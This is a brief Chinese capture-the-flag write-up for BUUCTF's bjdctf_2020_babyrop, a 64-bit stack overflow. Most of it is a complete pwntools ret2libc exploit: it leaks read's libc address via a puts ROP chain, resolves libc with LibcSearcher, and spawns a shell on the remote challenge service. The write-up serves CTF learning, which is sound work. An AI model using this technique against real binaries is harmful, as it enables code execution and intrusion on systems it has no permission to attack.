image.png
    64位栈不可执行 （babyrop的题目有点多，我前面还checksec错了）
    image.png
    和上题一样的漏洞只不过是64位环境下的漏洞
    所以要ropgadget一下

    1. from pwn import *
    2. from LibcSearcher import* 
    3. context(log_level = 'debug')
    5. #io = process("./bjdctf_2020_babyrop")
    6. io = remote("node4.buuoj.cn",29121)
    8. #context.arch = "amd64"
    9. elf = ELF('./bjdctf_2020_babyrop')
    10. offest = 0x20
    11. rdi_ret_addr = 0x400733
    12. rsi_ret_addr = 0x400731 
    13. puts_plt = elf.plt['puts']
    14. read_got = elf.got['read']
    15. main_addr = elf.sym['main']
    16. payload = b'a'*(offest+8)+p64(rdi_ret_addr)+p64(read_got)+p64(puts_plt)+p64(main_addr)
    17. io.recvuntil('Pull up your sword and tell me u story!')
    18. io.sendline(payload)
    19. io.recv()
    20. read_addr=u64(io.recv(6).ljust(8,b'\0'))
    21. log.success('read==>'+hex(read_addr))
    22. libc=LibcSearcher('read',read_addr)
    23. libc_base = read_addr-libc.dump('read')
    24. system_addr = libc_base+libc.dump('system')
    25. sh_addr = libc_base+libc.dump("str_bin_sh")
    27. payload1= b'a'*(offest+8)+p64(rdi_ret_addr)+p64(sh_addr)+p64(system_addr)+b'deadbeef'
    28. io.sendline(payload1)
    30. io.interactive()

    ljust(8,b’\0’)对齐用的。以前很多都会这样写ljust(8,’\x00’) 以前的python能这样写，python3是不能这样写的。
    其实也没什么格式题